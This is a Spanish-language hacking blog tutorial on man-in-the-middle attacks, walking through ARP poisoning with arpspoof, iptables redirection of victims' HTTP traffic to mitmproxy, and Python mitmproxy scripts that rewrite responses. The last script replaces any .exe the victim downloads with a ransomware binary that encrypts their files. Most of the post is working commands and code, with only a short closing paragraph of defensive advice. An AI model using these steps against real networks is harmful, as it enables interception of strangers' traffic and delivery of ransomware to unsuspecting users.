Power belongs to the people who take it

Man in the middle – Modificando respuestas al vuelo con mitmproxy

Un man in the middle consiste en introducirse en la comunicación entre dos equipos para que todo el tráfico pase por nosotros. Esto permite el robo de datos, lectura y modificación de las comunicaciones.
En este post realizaremos modificaciónes a las respuestas que reciben las víctimas.

La manera de realizar el man in the middle es suplantar a alguno de los comunicadores o bien a la puerta de enlace(router) con lo que recibiriamos todas las peticiones. Otra manera de realizar un ataque de este tipo es creando un punto de acceso Wifi de nuestro control ya que controlariamos la puerta de enlace.
Para suplantar algun comunicador se utilizan las técnicas de ARP Poisoning, DNS Poisoning, Port Stealing, DHCP Spoofing, etc.
Nosotros nos centraremos en ARP poisoning, ya que es la mas común y la que utilizaremos en este ejemplo.

    Un ataque ARP poisoning funciona de la siguiente manera:

  • El atacante hace uso de la herramienta de ARP Spoofing y escanea las direcciones MAC e IP de los hosts de la subred del objetivo.
  • El atacante elige su destino y comienza a enviar paquetes ARP través de la LAN. Estos paquetes contienen la dirección MAC del atacante y la dirección IP de la víctima con el fin de que la arp cache de los equipos establezca la relación de esa MAC con esa dirección ip.
  • Si el atacante logró vincular su dirección MAC a una dirección IP auténtica, va a empezar a recibir cualquier dato que se puede acceder mediante la dirección IP. A partir de aquí, el atacante puede robar datos o lanzar un ataque más sofisticado.


A partir de aqui comenzamos de manera práctica el ataque. Para crear el entorno utilizaremos un máquina virtual como víctima.
Como ya dijimos usaremos ARP poisoning, lo utilizaremos para suplantar a la puerta de enlace y asi recibir todas las peticiones de los equipos de esa red.
Usaremos la herramienta arpspoof instalada por defecto en Kali linux.
Para saber el gateway de una interfaz podemos ejecutar

arp -a



Nuestro objetivo sera la red asociada a la interfaz wlan0, es decir la puerta de enlace 192.168.43.1
Primero se debe asegurar que esté habilitado el reenvío de paquetes (packet forwarding):

echo 1 > /proc/sys/net/ipv4/ip_forward

El funcionamiento de la herramienta es sencillo, el parámetro -r indica que capturará el tráfico en ambas direcciones necesita el parámetro -i con la interfaz de red a usar y la puerta de enlace actual. También podemos indicar con -t una víctima. Desde la víctima veremos como cambia la MAC asociada la dirección de la puerta de enlace.


 arpspoof -i wlan0 192.168.43.1
#Solo una víctima
arpspoof -r -i wlan0 -t 192.168.1.44 192.168.1.1

Una vez se ha envenenado la tabla ARP empezaremos a poder capturar peticiones, es decir, realizar nuestro Man in the middle.
Para esta parte usaremos la herramienta mitmproxy. Esta herramienta se puede usar para interceptar, inspeccionar, modificar y reproducir tráfico web. Además cuenta con una API en python para desarrollar los scripts y esta bien documentado.
En la práctica lo que haremos será recibir las peticiones que nos envian las víctimas y redirigirlas al puerto 8080 el cual es el establecido para mitmproxy. Una vez tenemos la petición relizaremos los cambios necesarios y se la devolveremos a la víctima. Utilizaremos la API de python para que las modificaciones se realicen de manera automática

Como hemos dicho necesitamos que las peticiones web de las víctimas lleguen a nuestro puerto 8080 para esto usaremos iptables.

#Para la interfaz eth0
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
#Para la interfaz wlan0
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
#Deshacer cambios con: iptables -t nat -F

Una vez hecho esta redirección podemos poner a funcionar mitmproxy. Para ello primero debemos tenerlo instalado, en distribuciones como Kali linux bastara con:

apt install mitmproxy

Si no podeis seguir las sencillas instrucciones para cada sistema aqui: https://docs.mitmproxy.org/stable/overview-installation/
Para la prueba hemos levantado un servidor de apache2 en una instancia de Amazon AWS. Este servidor solo contiene el index.html por defecto.
Iniciamos mitmproxy, desde la máquina virtual intentamos recargar la página y veremos en la máquina atacante llegar las peticiones y sus respuestas. Por ahora es lo más básico y no tenemos la posiblidad de interactuar.


mitmproxy --mode transparent --listen-host ip

Para poder interactuar con las peticiones deberemos establecer un filtro. Para esto pulsaremos la tecla i y escribimos una cadena como expresión regular por ejemplo filter. Esto hará que las peticiones que contengan filter se queden de color rojo esperando nuestra interacción.
Podremos inspeccionar la peticion con el return, modificar con la e y enviar con la a. Usaremos A para enviar todas.



Ahora ya hemos visto como interactuar de manera manual pero el usuario no recibe la respuesta hasta que nosotros la enviemos lo cual no es muy práctico. Ahora nos introduciremos en la API de python de mitmproxy para entender como funciona y realizar algun ejemplo.

Para utilizar los scripts que crearemos utilizaremos la herramienta mitmdump, que es la interfaz de comandos de mitmproxy. También hay que decir que existe mitmgui que es la interfaz gráfica.

La libreria de python más básica será importada:

from mitmproxy import http

El método que se ejecuta al recibir una peticion y que servirá para editar las respuestas lo definiremos como:

def response(flow: http.HTTPFlow) -> None:
   #Some code

Para mas información podeis basaros en los ejemplos: https://github.com/mitmproxy/mitmproxy/tree/master/examples.
La documentación: https://mitmproxy.readthedocs.io/en/v2.0.2/scripting/api.html.

Como primer ejemplo realizaremos un script que respondera con una frase en texto plano a todas las peticiones.

from mitmproxy import ctx
from mitmproxy import http
flag=False
def response(flow: http.HTTPFlow):
    flow.response.content=bytes("THE POWER BELONGS TO PEOPLE HOW TAKE IT","UTF-8")
    ctx.log.info("RESPONSE SENT")


mitmdump -s simpleresponse.py --mode transparent --listen-host ip

Ahora realizaremos unos filtros y dependiendo de la petición responderemos con una cosa u otra.

from mitmproxy import ctx
from mitmproxy import http
def response(flow: http.HTTPFlow):
    if "thisisatest" in flow.request.pretty_url:
           flow.response.status_code=200
           flow.response.content=bytes("HEY!, you are looking for https://ironhackers.es","UTF-8")
    else:
           flow.response.status_code=404
           flow.response.content=bytes("Personalized 404, This should be the index.html jeje","UTF-8")


mitmdump -s somefilters.py --mode transparent --listen-host ip

Finalmente trabajaremos en un ejemplo mas realista. La prueba será que el usuario víctima se intente bajar un archivo ejecutable, el típico juego del buscaminas y nosotros lo modifiquemos con un archivo malicioso que encriptará todos los archivos de la víctima.
Para esto deberemos establecer filtros para que solo modifique las peticiones a archivos EXE y cambiar el contenido de la respuesta por el binario del ejecutable malicioso.

from mitmproxy import ctx
from mitmproxy import http
flag=False
def response(flow: http.HTTPFlow):
    if ".exe" in flow.request.pretty_url:
        ctx.log.info("EXE detected!")
        f=open("/root/Documents/IronHackers/Post/Man in the middle/Ransomware.exe","rb")
        badExe=f.read()
        custom_response=http.HTTPResponse.make(
            200,
            badExe,
                {},
        )
        flow.response.content=custom_response.content
        ctx.log.info("EXE changed, waitting for the victim to open it...")


mitmdump -s EXEChanger.py --mode transparent --listen-host ip

Al final del video se aprecia como todos los archivos del escritorio de la víctima son cifrados y renombrados a .1ron
Como vemos se puede alterar un archivo que descarga un usuario con un Man in the middle y menos de 10 lineas de código gracias a esta potente API de mitmproxy. Por esto es importante conectarse unicamente a redes de confianza, utilizar unicamente páginas con protocolo https que cifrarán la comunicación impidiendo* que se altere y la comprobación de que el archivo no ha sido modificado utilizando su hash.

Herramientas: arpspoof,mitmproxy

Video: https://youtu.be/ZHLyByZS-zo

¿Me ayudas a compatirlo?

2 comentarios

  1. Anónimo

    Hello

  2. Anónimo

    agaist https?

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

© 2024 ironHackers

Tema por Anders NorenArriba ↑